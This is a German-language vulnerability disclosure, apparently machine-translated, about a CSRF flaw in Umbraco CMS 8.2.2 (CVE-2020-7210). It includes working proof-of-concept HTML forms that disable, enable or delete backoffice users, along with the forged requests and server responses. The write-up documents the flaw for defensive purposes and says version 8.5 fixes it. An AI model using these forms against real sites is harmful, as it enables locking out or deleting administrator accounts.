👩🏼‍🎤 👧🏻 ⚕️ CSRF bei Umbraco CMS ⏩ 🍫 👨🏿‍🔧

Durch die Fälschung von standortübergreifenden Anforderungen können beliebige Webanfragen an das Umbraco CMS-Content-Management-System gestellt und dessen Benutzer ohne deren Wissen identifiziert werden. Ein solcher Angriff erfordert immer eine Interaktion mit dem Benutzer, aber in der Regel reicht es aus, wenn das Opfer einem speziell vorbereiteten Link folgt oder eine Webseite besucht, die unter der Kontrolle eines Angreifers steht. Dadurch können Benutzerkonten aktiviert, deaktiviert oder vollständig gelöscht werden. Infolgedessen besteht die Gefahr von DoS- Angriffen auf Konten.

Hintergrund

Während der Erprobung einer Penetration kleinen Ressource entdeckt wurde , CSRF -uyazvimost in frisch ~~zu der Zeit~~ Umbraco CMS. Diese Sicherheitsanfälligkeit ermöglichte das Aktivieren, Deaktivieren oder vollständige Löschen von Benutzerkonten, einschließlich solcher mit Administratorrechten.

Trotz der Tatsache, dass im neuesten OWASP Top Ten 2017-Bericht CSRF-Schwachstellen die Liste der 10 kritischsten Schwachstellen verlassen haben, ist es zu früh, sie zu ignorieren.

Die Sicherheitsanfälligkeit wurde in Version 8.2.2 getestet. In Version 8.5 wurde dies bereits behoben, es ist jedoch möglich, dass andere Versionen zuvor anfällig bleiben. Benutzern dieses Produkts wird dringend empfohlen, sofort auf die neueste verfügbare Version zu aktualisieren.

Konzeptioneller Beweiß

Im Falle eines echten Angriffs wird das folgende HTML-Dokument auf einer schädlichen Website abgelegt, die von einem Angreifer kontrolliert wird.

Beispiel 1: HTML zum Deaktivieren eines Benutzers

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Eine Anfrage, die im Namen des Opfers an den Server gesendet wird:

POST /umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

Die vom Server empfangene Antwort:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 112
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:57:45 GMT
Connection: close

)]}',
{"notifications":[{"header":"<USERNAME> is now disabled","message":"","type":3}],"message":"<USERNAME> is now disabled"}

Beispiel 2: HTML zum Aktivieren eines Benutzers

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Anfrage:

POST /umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

Antworten:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 110
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Wed, 06 Nov 2019 10:58:12 GMT
Connection: close

)]}',
{"notifications":[{"header":"<USERNAME> is now enabled","message":"","type":3}],"message":"<USERNAME> is now enabled"}

Beispiel 3: HTML zum Löschen eines Benutzers

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Anfrage:

POST /umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

Antworten:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 114
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:58:36 GMT
Connection: close

)]}',
{"notifications":[{"header":"User <USERNAME> was deleted","message":"","type":3}],"message":"User <USERNAME> was deleted"}

Das Opfer erhält eine Antwort vom Server im JSON-Format (anklickbarer Bildschirm).

Sobald ein authentifiziertes Opfer (Administrator) eine Website mit eingebettetem bösartigem HTML besucht, werden aktive bösartige Inhalte im Kontext der Sitzung des Opfers ausgeführt. Obwohl die Antworten auf diese Anfragen nicht an den Angreifer übermittelt werden, reicht es in vielen Fällen aus, die Integrität der auf der Site gespeicherten Informationen des Opfers zu gefährden oder potenziell kompromittierende Anfragen an andere Sites auszuführen.

Anstelle einer Schlussfolgerung

Obwohl in letzter Zeit immer mehr Angriffe von der Client-Seite auf die Serverseite übergegangen sind, müssen sie dennoch gebührend berücksichtigt werden. Nach einem Gespräch mit dem Kunden haben wir uns schnell mit dem Hersteller des Softwareprodukts in Verbindung gesetzt und Informationen über die Korrektur erhalten. Der Sicherheitsanfälligkeit wurde der Index CVE-2020-7210 zugewiesen. Ich gebe zu, für mich als Pentester ist dies die erste Sicherheitslücke, die den CVE-Index erhält.